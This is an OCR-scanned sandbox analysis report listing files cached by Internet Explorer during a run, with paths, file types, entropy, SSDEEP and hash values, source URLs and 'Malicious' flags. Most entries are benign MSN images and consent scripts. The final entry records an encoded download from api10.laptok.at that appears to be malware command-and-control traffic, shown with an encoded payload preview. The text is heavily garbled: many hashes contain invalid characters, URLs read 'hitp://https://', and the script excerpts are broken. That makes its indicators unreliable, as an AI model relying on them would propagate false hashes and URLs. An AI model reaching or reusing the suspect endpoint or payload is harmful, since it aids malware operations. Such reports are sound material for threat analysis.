384:0j+X+jzgBCL2RAAaRKXWSUB8zVrX0eQna4lwFpWgeObRApQZInjatWLGuD3eWrwAs:4zgEFAIXWeNelpW4lzZInuWjlHoQthl
145CAF593D1A355E3ECD5450B51B1527

18F98698FC79BA278C4853D0DF2AEEB0F61E15A2
0914915E9870A4ED422DB68057A450DF6923A0FA824B1BE11ACA75C99C2DA9C2
D02D8D4F9C894ADABBAOB476D223653F69273B6A8B0476980CD567B7D7C217495401326B14FCBE632DA67C0CB897C158AFCB7125179728A6B679B5F81CADEB!
false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/assets/v2/otPcCenter.json

{. "name": "otPcCenter", "html": "PGRpdiBpZD0ib25IdHJ1c3QtcGMtc2RrliBjbGFzcz0ib3RQYONIbnRIciBvdC1loaWRIIGI90LWZhZGUta
W4|IGFyaWEthQkYWWQInRydWUlIHvaGU9ImeYvaZngYXJpYSleWJIbeIZGJSPSJdeleleaXRsZSI+PCEtLSBDbGQzZSBCdXR0b24gLSO+PGde
iBjbGFzcz0ib3QtcGMtaGVhZGVylj48IS0tIExvZ28gVGFnICOtPjxkaXYgY 2xhc3M9Im9OLXBjLWxvZ28ilHIvbGU9ImItZylgY XJIpY S1sYWJIbD0iQ29tcGFueSBMb2d
VIj48L2Rpdj48YnV0OdGOuIGIKPSJjbhG9zZS1wYylidG4AtaGFuZGxicilgY 2xhc3MIIM9OLWNsh3NILWIjb24ilGFyaWEthGFiZWw9lkNsb3NIIj48L2J1dHRvbj48L2Rpdj48ISOtIEN
sh3NIIEJ1dHRVbIAtLT48ZGI2IGIKPSIvdC1wYy1jh250ZW50I1iBjbGFzcz0ib3QtcGMtc2Nyb2xsY mFylj48aDMgaWQ9Im90LXBjLXRpdGxlj5Zb3VyIFByaXZhY3k8L
2gzPjxkaXYgawQ9Im90LXBjLWRIc2MiPjwvZGI2PjxidXR0Ob24gaWQ9ImFjY2VwdC1yZWNvbW1lIbmRIZC1idG4taGFuZGxIcil+QWxsh3cgYWxsPC9idXR0b24+PHNIY3R
pb24gY2xhc3M9IIm90LXNkaylyb3cgb3QtY2FOLWdycCl+PGgzIGIkPSJIvdC1jYXRIZ29ye S10aXRsZSI+TWFuYWdIIENvb2tpZSBQcmVmZXJlbmNIczwvaDM+PGRpdiBjb
GFzcz0ib3QtcGxpLWhkcil+PHNwYW4gY 2xhc3M9IIm9OLWxpLXRpdGxlIj5Db25zZW50PC9

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\otSDKStub[1].js

Process:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\otSDKStub[1].js

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

ASCII text, with very long lines, with CRLF line terminators

downloaded

13479

5.3011996311072425

false

192:TQp/Oc/tBPEocTcgMg97k0gA3wziBpHfkmZgWoa:8R9aTcgMNADXHfkmvoa
BC43FF0C0937C3918A99FD389A0C7F14
7F114B631F41AE5F62D4C9FBD3F9B8F3B408B982
E508B6A9CASBBAED7AC1D37C50D796674865F2E2A6ADAFAD1746F19FFES2149E
C3A1F719F7809684216AB82BFOF97DD26ADE92F851CD81444F7F6708BB241D772DBE984B7DIEDI2F12FE197A486613D5B3D8E219228825EDEEA46AA8181010B¢
false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/scripttemplates/otSDKStub.js

var OneTrustStub=function(t){"use strict";var I=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmIGroupData=[],this.optanonHostData=[] this
.genVendorsData=[],this.|ABCookieValue="" this.oneTrustlABCookieName="eupubconsent" this.oneTrustIslABCrossConsentEnableParam="is|IABGlobal" this.isStu
bReady=!0,this.geolocationCookiesParam="geolocation",this. EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU"
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C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 206x250, frames 3
downloaded

7940

7.9265260467832

false

192:xCN63gU2wzMwwgoXawT1HWJIISOrfporJcLP4Yu3lkEy4005:U2g04wwgoBThiGf+rJBYUXCO05
3648ED8B5ADID7B5C92A67AA151E84EF

8EC6352BC57D0B86387D0C23F4D4585BF87AC986
AA242C127C23E46B79AD63A1F1D8BE6F0548692BD2CA7E491FB2B2A848BDABES3
E5319EF713234C9DC29718ECBF27E32719DC518899D072A2A3A42A9C59C0638ABCCF0174F259DD06B21658A9611AF9631DF890C395D90650F4059F537F072C28
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBNcn.img?h=250&w=206&m=6&0q=60&u=t&o=t&|=f&f=jpg
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BB1dBNcn[1].jpg

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BB1dBRe5[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

12620

7.951581706367137

false

192:BYO7hazJvJII3dC3k7svjl9fpSDjAzCsuSqTRF//TVG8ybqQEDIeb:eW8NVUINCO87CRBFXTV+EQ
330551E63A36390705FC134EC3C849FB

ATECC1FDE253091436D91BA7B80ED2BC68C6D0DO
779EA94FC3FCD3259E63E82F7A70396B6F65117037BDA5E9126F15913BC81B9F

DD54FDOE115EFF3F2D978C346CE63A1969EB04704AC88DF40C23A92E09CC94E3CDB1BBCBC29161BC610CB13AD6B925C44486F564AES3ECFC5B570AB1BCSD!
7D7

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBRe5.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg&x=556 &y=362
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCachel\lE\9026IKNJ\BB1dBXe5[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

10627

7.932143052072789

false

192:xYhSI0i+tICLWR4MXefIMvixtzTbFOEB4anwxTgsGiBiguZwzgfOXfS:0sOOXefAPzTIJPb2H6aXfS
37F5C21E8D2C41EB998458A5D73749D4

F95D024E128A22FE723B1515FDAEF7COE035A515
OE044A4EDDA8B7E800500A7B3DOEEB964E933411CEDB59BA81A0BD9992971267

228C0A4A9657624A991CCDA03184AC79DF1A51400A66FE363C79BBD9C51903F1ABA02A1A19A007460CD13993F99AA0B1A1CC728B6588BOD6DAIBAFI79EBOCS
7

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBXe5.img?h=333&w=311&m=6&0=60&u=t&0=t&|=f&f=jpg&x=711&y=294

...... JFIF....HH....C.o.oeeerrnn o )100)-,3:3>36F 7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BB1dBZEa[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 206x250, frames 3
downloaded

9428

7.949854959486735

false

192:BCGnZsG90Q8RiVkM40CIwo+ghUmdpxXMQHIfxQ6uU:kzG9OhHMrCzhUmdP9zJU
774CE22BED8FA0D13756CA22B2DFB1AD

6F71C152C886041072FF4A92BE52CE07DB4ESA04
6731A15B61DF801948017B3CA4EB6AC7BD4C6BEC3F1D9C7EEF4FEL5B71C95D77
323345431D1468CBF52B96EEC3A84D27C85F7091DCA031392053F0C8F64D516415C87E96626A16CF6C26C2C7DFIB77E30377DDOFE977BF749F713FB1DDD8379!
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBZEa.img?h=250&w=206&m=6&q=60&u=t&o=t&I=f&f=jpg&x=603&y=410
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BB1dBZEa[1].jpg

Preview:

...... JFIF...cpeeeCriiie e 1)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCachel\lE\9026IKNJ\BB1dBgwP[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3
downloaded

7676

7.929993940932906

false

192:BCsFsMb78Vcznmn+9ylIMtn2Gw4RXQej4i5:k2sMH8Viluto49QKX5

8FC6E6BFDE3D538FBE6823F3F14145D5

929A20BBOESAOEABO88D95DES487A16B01322C97
BCD088193BOE30F903D64090E13A0E2774FEOB19FB278DD83B7D64723209A734

CD6E787151B406035A0DC9124575CF1B0D2686A3DACAA83ECODB62D1747F0B37609593F99DCFD94DE9Y08080D507878A8FD77EF9E7BI0AED7F5A309D0ED33D7
A

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBgwP.img?h=250&w=206&m=6&q=60&u=t&0=t&I=f&f=jpg&x=797&y=261

...... JFIF..cciie.Criiie e 0)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\9026IKNJ\BB1dBIDi[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 310x166, frames 3
downloaded

5384

7.86548156474248

false

96:BGEEHIWOG2ZGILihR5d4YjbXD1yS7RR47EDIVHRNX8N3UbSDbwGT6V/9t:BF4A0GWGIL8/4lyS7eEDtRNxubsDt
B987D3546490D5E5FFE7BD48996EA1DF

3558CFA34F3FACC7BA582A2415CD7E6660899C51
A476D291831D6DDFDA1195FD525D596E78C74755D60AC18D2788BBE23376BC43
59DA5B96EEEBE644775434D84060DA485F31385103F028E84903014EBF4828634517BEF566FC42F547B410C2754F4369AEF2B36159ACBEO6EDSSE7B53275A59F
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBIDi.img?h=166&w=310&m=6&0q=60&u=t&0=t&|=f&f=jpg&x=687&y=353
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachel\lE\9026IKNJ\BB1dBovk[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

10343

7.932577070653324

false

192:xYtLiyOMoitbytzsU0iz3qWGj32sYlySzZ80K5DtTj4yuo:OBiy T3ytFXqX3ls/9j4s

E481CD2B524A443F4259DD7ED830B3DA

B720D98FAF6DCOAB99A7B2624E985D0CEC814390
E9932FB5E91B857C78E8C9175C791D7F4911D04C494DAF01F69E666CEA20C273
841103491601B7ADBE2190D797840DCCCOBAB9719383AA615A461975A3EB586B5B0A0511C5C13758DF01305DACFOBE6307D9CCB127F0D8F20C4FE4A581109DE
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBovk.img?h=333&w=311&m=6&0=60&u=t&0=t&I=f&f=jpg&x=604&y=213
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Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BB1dBtOv[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3
Category: downloaded

Size (bytes): 6211

Entropy (8bit): 7.875313824429684

Encrypted: false

SSDEEP: 192:BC3e97IWRKKOnvP5xaS+i+vIOgfvxBNdq/8:k3e973KKg5xj+dLnNdq/8

MDS5: 0B3ADBA24414D9684681AD97F3635B32

SHA1L: C81EEB746F79661E4F543FC6EFA87E4A53A7B957

SHA-256: E2CE1F70DD6C6FC3D06AA646BD1BIBAGDIE7982B5C84BCF403209BEE3676AE62

SHA-512: F837B19799AFE9AD939A0C074131B46D6A6C766FFDCB8450181AC6CCI76C683437728B4A2A5413ACD6BEOE28B11170804089130A71437BD5FE3CB6D43C5D779
Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBtOv.img?h=250&w=206&m=6&q=60&u=t&o=t&I=f&f=jpg

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BB1kKVy[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 863

Entropy (8bit): 7.63569608010223

Encrypted: false

SSDEEP: 24:Qr64gdmEMBzvcF9u2xN990ANpLgTre/PmWImw2F3:GS2NcFscfOKLgTChfH2p
MDS5: 03134525726F04B87A0E34490D73D3AD

SHA1L: 61EDFDFOE3C7B2C9C2FF6BBA0C1D19D6C14C86EL

SHA-256: A37BE23752B8EBB28F060CD4EC469CC9C937A2CE62D1DF406AECE91C9C12B24D
SHA-512: DDD913A770CC7F3973E97D98BB68837061D784D4DEB17792D625965228F870147A084719E8E63D97D7D840920845230098648644618E5EFD6377A9021A347569
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1kKVy.img?m=6&o=true&u=true&n=true&w=30&h=30

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BB6Ma4a[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 396

Entropy (8bit): 6.789155851158018

Encrypted: false

SSDEEP: 6:6v/IhPkR/CnFPFaUSs1venewS8cJY 1pXVhk5Ywr+hrYYg5Y2dFSkjhTSuME|jrTp:6v/78/kFPFnXleeH8YY9yEMpyk3Tc
MDS5: 6D4A6F49A9B752ED252A81E201B7DB38

SHA1L: 765E36638581717C254DB61456060B5A3103863A

SHA-256: 500064FB54947219AB4D34F963068E2DE52647CF74A03943A63DC5A51847F588

SHA-512: 34E44D7ECB99193427AA5F93EFC27ABC1D552CA58A391506ACA0B166D3831908675F764F25A698A064A8DA01E1F7F58FE7A6A40C924B99706EC9135540968F1A
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB6Ma4a.img?h=16&w=16&m=6&0=60&u=t&o=t&|=f&f=png

Preview:
PNG........ IHDR...coovrvin a...sRGB......... gAMA.....a....pHYs.......... (J....!IDAT8OC|. ..?...].UA....GP.*|. .....E...b....&>*x.h....c.....g.N...?5.1.8p.....>1..p...0.EA.A...0..cC/...0
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachel\lE\9026IKNJ\BB7gRE[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 482

Entropy (8bit): 7.256101581196474

Encrypted: false

SSDEEP: 12:6v/78/kFLsiHANE30WxYZOjNO/wpc433jHgbc:zLeO/wc433Cc

MD5: 307888COF03ED874ED5C1D0988888311

SHAL: D6FB271D70665455A0928A93D2ABDIDICOF4E309

SHA-256: D59C8ADBE1776B26EB3A85630198D841F1A1B813D02A6D458AF19E9AADO7B29F

SHA-512: 6856C3AA0849E585954C3C30B4C9CI92493F4E28E41D247C061264F1D1363C9D48DB2BIFA1319EA77204F55ADBD383EFEE7CF1DA97D5CBEAC27EC3EF36DEF!
8E

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7gRE.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

Preview:
PNG........ IHDR...coovrvin a...sRGB......... gAMA.....a....pHYs.......... (J....wIDAT80.RKN.O.J\....U...c-.. .. 8.{$..2.@....+....... K...%)...I......C4../XD].Y..:.w.....B9..7..Y ..
(m.*3. .L.p..,.c.>\<H.0.*...,w:.F.m...8c,.M........ E...... S..G.%.y.b...Ab.V.-}.=.."m.O..L..q.... JN.)..w.\.vA A u.. k.0, .R.....c.N...DN")x....."*Brg.0avY.>.h...C.S...Fqv._.]....
LEh|wg..l........ @.$.2]....18.8).t.y W.H.HW.8..B..."........ IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BB7hjL[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 444

Entropy (8bit): 7.25373742182796

Encrypted: false

SSDEEP: 6:6v/IhPkR/CnFFDDRHbMgY]jEr710UbCO8j+qom62fke5Y Csd8sK CW5biVp:6v/78/kFFICENOsCoqoX4ke5V6D+bi7
MDS5: D02BB2168E72B702ECDD93BF868B4190

SHA1L: 9FB22D0AB1AAA390EOAFF5B721013E706D731BF3

SHA-256: D2750B6BEE5SD9BA31AFC66126EECB39099EF6C7E619DB72775B3E0E2C8C64A6F

SHA-512: 6A801305D1D1EB448EEB62BC7062E6ED7297000070CA626FC32F5E0A3B8C093472BE72654C3552DA2648D8A491568376F3F2AC4EA0135529C96482ECF2B2FD3E
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7hjL.img?h=16&w=16&m=6&9=60&u=t&o=t&I=f&f=png

Preview:

“f.....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BBVuddh[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 304

Entropy (8bit): 6.758580075536471

Encrypted: false

SSDEEP: 6:6v/IhPkR/ChmU5nXyNbWgaviGjZ/wtDi6XxI32inTvUI8zVp:6v/78/e5nXyNb4lueg32au/

MDS5: 245557014352A5F957F8BFDAB7A3E966

SHA1L: 9CD29E2AB07DC1FEF64B6946E1FO03BCCOA73FC5C

SHA-256: 0A33B02F27EE6CD05147D81EDAD86A3184CCAF1979CB73AD67B2434C2A4A6379

SHA-512: 686345FD8667C09F905CA732DB98D0O7E1D72E7ECDIFD26A0C40FEEBE8985F8378E7B2CB8AE99C0O71043BCB661483DBFB905D46CE40C6BE70EEF78A2BCDEY4
05

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuddh.img?h=16&w=16&m=6&q=60&u=t&o=t&|=f&f=png

Preview:
PNG........ IHDR...coovrvin a...sRGB......... gAMA.....a....pHYs.......... +.....IDAT80...P...3....v.."0.}...".."XD.".".5.3. ....)..&-........d.0.MSC.i1..%.8%].}....M.SIOM..U.. ..., 9....
s X<y ELM..q... " ,6+.].BP.5.>R....IJ.0.7|?....r.\-Ca.....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BBnYSFZ[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 560

Entropy (8bit): 7.425950711006173

Encrypted: false

SSDEEP: 12:6v/78/+m8H/Ji+Vncvt7xBkVqZ5F8FFl4hzuegQZ+26gkalFUx:6H/XVA7BkQZL8OhzueD+ikalY
MDS5: CA188779452FF7790C6D312829EEE284

SHA1L: 076DF7DE6D49A434BBCB5D88B88468255A739F53
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BBnYSFZ[1].png

SHA-256:
SHA-512:
Malicious:
|IE Cache URL:

Preview:

D30AB7B54AA074DESE221FE11531FD7528D9EEEAA870A3551F36CB652821292F
2CA81A25769BFB642A0BFAB8F473C034BFD122C4A44E5452D79ECIDCIE483869256500E266CE26302810690374BF36E838511C38F5A36A2BF71ACF5445AA2436
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnY SFZ.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

IHDR...coovrviin a...sRGB......... gAMA.....a....pHYs.......... 0.d....IDAT80.S.KbQ..zf.j...2@........... Jenn z..EA3P....AH...Y..3.....|6.6}.....{.n. ..b.......... ".h4b.z.&.p8".
..D...i$.)..pLA.dB.T...#f3..8.N.b1.Bl.\..n..a..a.Z.......0%.x<....|.b.h4. 0.EQP.. v.q....f.9.H8..\...[N&...X,2...<.B.V[.(.NS6..|>..n4...2.57 *......f.Q&a-..v..z.{P.V...
S Wt 5.W.t.i....g...\t.8.w..........0....%~...F.F.0".'rx...b..vp...b..PaW.r.aK..9&...>.5 IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\90261KNJ\checksync[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

20808

5.301544177099164

false
384:RKAGcVXIblcgnzleZSug2f5vzBgF30ZORQWwY4RXrqt:g86ghbz2RmF30sRQWwY4RXrqt
00593785BE18A01F5D591B270BE7794E
B2D6DFE036CAAOCCFF1DC25CDFD8C1488D086BES
5B9547D49C57F24E7FC08CB73A03E3F9EDDDC573610D2B3894B85781DD81703E
210E3849EE1113DFD7F949AC3FDFA3E77E3651716D06496DBC288EF67C7540F326668DAC8D6EESCBES6147E830BB24533899C5E0276CIFBEEA008DE9211F743

false

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal
~""vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn", cook|e" "data-
"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g cocs™:0},"Ir":{"name":"Ir","cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSiteSupport":"
0","batch™{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tIx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt", "got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:V\Vcslogger.

V" "isBI":1,"g"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\90261KNJ\checksync[2].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

20808

5.301544177099164

false
384:RKAGcVXIblcgnzleZSug2f5vzBgF30ZORQWwWY4RXrqt:g86ghbz2RmF30sRQWwY4RXrqt
00593785BE18A01F5D591B270BE7794E
B2D6DFE036CAAOCCFF1DC25CDFD8C1488D086BES
5B9547D49C57F24E7FC08CB73A03E3F9EDDDC573610D2B3894B85781DD81703E
210E3849EE1113DFD7F949AC3FDFA3E77E3651716D06496DBC288EF67C7540F326668DAC8D6EESCBES6147E830BB24533899C5E0276COF8EEA008DE9211F743

false

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor": {"vka" "visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
" "sepCs "vsDaTime":31536000,"cc":"CH","zone":"d"},"cs' ookup™:{"g":{"nam cookie":"data-g' g":1,"cocs™0},"vzn":{"name":"vzn","cookie":"data-
V" "isBI":1,"g"0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g":0,"cocs":0},"Ir":{"name":"Ir","cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSite Support":"
0","batch™{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tIx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:V\V/cslogger.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\90261KNJ\d[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

downloaded

268376

5.999818967395032

false

6144:Tsk3ZyAFTpfZHXe7iCtwBMYcD5hEIAB1nloINefDVWx8Ziz: Tjy6xZX98wBrcD5hEIAHaj0Ziz
D4940FE4806513B4EBID6786E6A9587A
97EOD66AC77DOFAED4C2A18D0BOD445AAB1FD29E
DA2DDABAOA47F8F0928B3469E8A4A017612761A235FODCEEB5A87345A5DAD1F2
E7DE3440AA94578F90CACCIAD2D634A5747064D182FBOBIB5EB0312489089F4694485DFFE41791DB15BCDAGF6789B84ESDF17B99524CF539AD4AF1596276A291
false

http:/f
apil0.laptok.at/apil/lgORGWS5qFn_2FL/FIQCKOWAHI3Hiwfkv_2Bd/YD_2BI2Xw2AGWng8/expfsroDYWZ8_2B/ZGfgnzwsY_2FSQ_2F3/a2GGZduez/SqOtvGRODRINxK4
_2F3R/2gP8hWIKAYYweque45c/mmolQCYZVFeP5qFtRQW3rp/ESP8Dg0JYvida/zzwdg1lBa/kVPhJOIEUKXVINZ6 TtxGPu4/gqcL2pxbRo/OD4R3VULXHITBOksT/J7Ysgh
yQco_2/BonnsCX3QSqg/e_2FIgvYSOP02Q/dsGMQxaYUUX012u0t5_2F/50UM82sSS5a5iW39/tnrjay9bJzCbz3PtHnh/d
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\90261KNJ\d[1].htm

Preview:

ORNtLIYMQNQojwzpe785MZSDSUEQGU2B0ele9rAt6KSWwhNOzZ4E6Xvx4DcDDaM/TTcusBDg2c0Gtitd651ZSTy9eKnd0JzAaJOplVyVEOkGsqlHZIqgWFC00JI/7WejoE
CLLPPMGfpn9tsLjgM9k3CLLpRmM5CTtY +KszGxriTexfDOdgRs+mEAstNOUKIiziWFsa649fBBPUoYIEnbK68IzjNP/zDJ0qFyXczK3dCwt2Yo0Jo2pX55qtAWHax0/AB3yXC
JBMOY+jvJ3UW58E0J5bSGe57T2XF2AJMIZRtPurk2auZmonuMGelMa+Q3wVCNrBPuuakR4Gsr5EspKQODNPB8K0g6RGUIXz33HVId5wXMt3wHbm4HN3D4NN
mzRh9leX1iTE17Buxpk70SnUAGbzhkezkyRwvECOpITGoBJoF+gDUIHX8Jr3augnOIAKTZ+KBJYtYu4taTSZLNg1IHIWgwcPwHKp87QocbzTx06iyvBLBTOi3u4Djp7vOf
G000B55we8vpXXXeOSvqSsBOK3/jivtLIzZS5WR8T3rLrVp5Zt3yKPr4HbMJIPPq2dOfe8A+8F7jy7NFOw/w9m7LaUkLbrAGJAH/IpwNsljQExoiY dZu8HMERfmxxOBHXM1D
kk5Alafeglix9vwcghK+x/ThSSUFGwCO02ylcVqlpdtyhcZqVAc97clfHcVI7MSVZIpyhSsEeYV4ixORyDoexmN/SFtZZwkx9VdcrUcGbu9AMjFoJjXz5Uo8AtYK020aN2
